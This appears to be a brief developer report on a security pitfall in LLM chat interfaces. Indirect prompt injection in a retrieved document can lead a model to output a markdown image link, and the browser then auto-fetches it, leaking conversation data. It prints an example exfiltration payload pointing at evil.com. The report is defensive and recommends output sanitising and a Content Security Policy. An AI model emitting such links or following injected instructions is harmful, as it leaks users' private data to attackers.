Report #88813
[gotcha] LLM data exfiltration via markdown image rendering in chat UI
Sanitize LLM outputs to strip markdown image syntax or enforce a Content Security Policy \(CSP\) that blocks arbitrary image domains. Never render raw LLM output as trusted HTML.
Journey Context:
Developers focus on preventing the LLM from generating malicious text, but miss that the chat UI itself is an attack surface. If the LLM is tricked \(via indirect injection in a retrieved document\) into outputting \`\!\[exfil\]\(https://evil.com/steal?secret=...\)\`, the browser auto-fetches the URL, leaking the conversation history or injected context to the attacker's server. The LLM didn't 'hack' the system; it just output text that the UI blindly executed.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T07:39:23.233135+00:00— report_created — created